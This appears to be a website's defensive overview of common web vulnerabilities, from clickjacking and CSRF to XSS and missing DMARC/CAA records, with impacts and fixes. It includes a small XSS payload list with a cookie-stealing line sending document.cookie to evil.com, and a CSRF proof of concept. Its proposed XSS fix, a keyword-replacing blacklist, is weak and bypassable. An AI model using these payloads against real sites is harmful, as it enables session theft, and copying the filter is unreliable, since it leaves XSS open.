No account yet ?
Failure to invalidate session after password reset
The Website doesn't invalidate session after the password is reset.
It's one of the OWASP recommendations to terminate the session when a password is changed and force all users to log in again.
Impact
If attacker have user password and logged in different places, As other sessions is not destroyed, attacker will be still logged in your account even after changing password, cause his session is still active.. Malicious actor can completely access your account till that session expires! So, your account remains insecure even after the changing of password. Attaching poc for indepth explanation.
Certification Authority Authorization (CAA) Record
CAA is one of the DNS record types which instruct CA if they should issue a certificate or not.
CAA implementation was made mandatory late 2017.
Consequences of not solving the problem
If a domain does not have a CAA record, anyone can generate a CSR for that domain and get the certificate signed by any CA.
It's a security risk.
Fix
Add the CAA record to your domain.
DMARC Record
DMARC is a standard email authentication method.
DMARC helps mail administrators prevent hackers and other attackers from spoofing their organization and domain.
Spoofing is a type of attack in which the From address of an email message is forged.
Consequences of not solving the problem
Spammers can forge the "From" address on email messages to make messages appear to come from someone in your domain.
If spammers use your domain to send spam or junk email, your domain quality is negatively affected.
People who get the forged emails can mark them as spam or junk, which can impact authentic messages sent from your domain.
Fix
A DMARC reject policy is the only DMARC policy that is effective in preventing spoofing attacks.
This is because a rejected DMARC policy blocks unauthorized emails from reaching your receiver’s inbox, thereby stopping them from accepting, opening, and reading bad emails.
TXT _dmarc.domaine.ext
TTL 5 min
Value "v=DMARC1; p=reject; rua=mailto:email@domaine.ext"
Enable DKIM and SPF
Clickjacking Vulnerability
The clickjacking vulnerability allows an attacker to deceive users into clicking on a malicious or unintended button or link by hiding it under a transparent or opaque layer.
The attacker can overlay a legitimate website with a frame or iframe that contains malicious content such as ads, pop-ups, or forms.
When the user clicks on a visible element in the legitimate website, they unknowingly trigger the click on the invisible element within the overlay.
Impact
Clickjacking can be used to steal sensitive information, redirect users to malicious websites, perform unwanted actions, and compromise user accounts.
The impact of this vulnerability can range from minor inconvenience to major data breaches, depending on the attacker's intentions and the victim's actions.
Checking clickjacking manually
<html> <br />
<head> <br />
<title>Clickjacking Test</title> <br />
</head> <br />
<body> <br />
<p>If you can see the website below, it's vulnerable to clickjacking.</p> <br />
<iframe src="https://artsy.net/" width="500" height="500"></iframe> <br />
</body> <br />
</html>
Fix
To fix the clickjacking vulnerability on the website, the owner should implement measures to prevent frame or iframe embedding by setting the X-Frame-Options header to DENY, SAMEORIGIN, or ALLOW-FROM.
This will prevent the website from being loaded within a frame or iframe, thereby preventing clickjacking attacks.
Additionally, website owners should ensure that their web applications are secure, regularly patch vulnerabilities, and educate their users on how to identify and prevent clickjacking attacks.
Add in .htaccess file :
# X-Frame-Options to prevent clickjacking
Header always set X-Frame-Options "sameorigin"
Hyperlink Injection
It is basically spoofing or injecting a link when sending an email invitation.
Impact
It might lead to redirecting the victim to a malicious website or downloading trojans/viruses on the victim's system.
CSRF (Cross-site request forgery)
Cross-Site Request Forgery (CSRF) is an attack that forces authenticated users to submit a request to a Web application against which they are currently authenticated.
CSRF attacks exploit the trust a Web application has in an authenticated user.
Impact
User should be allowed to change credentials through website and not from in between as it is not the original webpage.
Fix
The most popular method to prevent Cross-site Request Forgery is to use a challenge token that is associated with a particular user and that is sent as a hidden value in every state-changing form in the web app.
Same site scripting
Host: localhost.domain.com resolves to 127.0.0.1.
Tavis Ormandy reported a common DNS misconfiguration that can lead to a minor security issue with web applications.
"It's a common and sensible practice to install records of the form "localhost. IN A 127.0.0.1" into nameserver configurations, bizarrely however, administrators often mistakenly drop the trailing dot, introducing an interesting variation of Cross-Site Scripting (XSS) I call Same-Site Scripting. The missing dot indicates that the record is not fully qualified, and thus queries of the form "localhost.example.com" are resolved. While superficially this may appear to be harmless, it does in fact allow an attacker to cheat the RFC2109 (HTTP State Management Mechanism) same origin restrictions, and therefore hijack state management data."
Impact
An attacker can cheat the RFC2109 (HTTP State Management Mechanism) same origin restrictions, and therefore hijack state management data.
Fix
It is advised that non-FQ localhost entries be removed from nameserver configurations for domains that host websites that rely on HTTP state management.
XSS (Cross-site scripting)
XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users.
A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy.
<script> alert("XSS") </script>
<script>window.location="http://evil.com/?cookie=" + document.cookie</script>
<script>javascript:alert("XSS")</script>
...
Fix
function disableJavascript($content)
{
$content_tampon = $content;
$content = str_to_lower($content);
$content_tampon_lower = $content;
$content = str_ireplace('<script', '< script', $content);
$content = str_ireplace('alert(', 'alerter(', $content);
$content = str_ireplace('write(', 'writer(', $content);
$content = str_ireplace('<!--', '--', $content);
...
$content = str_ireplace('onmouseenter', 'on mouse enter', $content);
$content = str_ireplace('onmouseover', 'on mouse over', $content);
$content = str_ireplace('onmouseout', 'on mouse out', $content);
$content = str_ireplace('onmousemove', 'on mouse move', $content);
$content = str_ireplace('onmousedown', 'on mouse down', $content);
$content = str_ireplace('onclick', 'on click', $content);
$content = str_ireplace('ondblclick', 'on dbl click', $content);
$content = str_ireplace('onload', 'on load', $content);
$content = str_ireplace('onunload', 'on unload', $content);
$content = str_ireplace('onerror', 'on error', $content);
$content = str_ireplace('onresize', 'on resize', $content);
$content = str_ireplace('onblur', 'on blue', $content);
$content = str_ireplace('onchange', 'on change', $content);
$content = str_ireplace('onfocus', 'on focus', $content);
$content = str_ireplace('onselect', 'on select', $content);
$content = str_ireplace('onsubmit', 'on submit', $content);
$content = str_ireplace('onreset', 'on reset', $content);
$content = str_ireplace('onkeyup', 'on keyup', $content);
$content = str_ireplace('onkeydown', 'on keydown' ,$content);
if($content_tampon_lower != $content)
{
return $content;
}
else
{
return $content_tampon;
}
}
Implement cookie HTTP header flag with HTTPOnly & Secure to protect a website from XSS attacks
Without having HttpOnly and Secure flag in the HTTP response header, it is possible to steal or manipulate web application sessions and cookies.
When a cookie is set with the HttpOnly flag, it tells the browser that the cookie is only accessible by the server and not by client-side scripts. This is an essential security protection for session cookies.
Fix
Add the following entry in the .htaccess file.
Header always edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure
Logout CSRF (Cross-Site Request Forgery)
CCVE ID: (CVE-2019-20077).
Affected Component: Logout functionality.
CSRF POC
<html><br />
<!-- CSRF PoC - generated by Burp Suite Professional --><br />
<body><br />
<form action="https://site.ext/logout.html"><br />
<input type="submit" value="Submit request" /><br />
</form><br />
<script><br />
history.pushState('', '', '/');<br />
document.forms[0].submit();<br />
</script><br />
</body><br />
</html><br />
Impact
Unauthorized account access, session hijacking.
If successfully exploited, the Logout CSRF vulnerability could have serious implications, including :
. Unauthorized access to the victim's account.
. Session hijacking, potentially leading to further attacks.
. Exposure of sensitive user data, including personally identifiable information (PII) and account details.
Fix
We recommend promptly addresses the Logout CSRF vulnerability by implementing the suggested mitigation measures.
More threats are coming ...
Welcome, my name is Eric Soupet and I am the administrator of the site elodees.com. elodees.com is a state of the art of Artificial Intelligence and aims to be collaborative, you can now offer content such as articles, events, tutorials, ... so don't hesitate !
Platform images credit : Pixabay - Pixabay License | Pexels - Pexels License